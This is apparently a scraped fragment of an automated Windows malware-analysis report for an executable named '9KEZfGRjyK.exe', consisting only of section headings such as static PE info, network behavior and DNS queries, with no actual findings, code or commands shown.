C:\Users\user\Desktop\system_info.txt

\Device\Null

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
9KEZfGRjyK.exe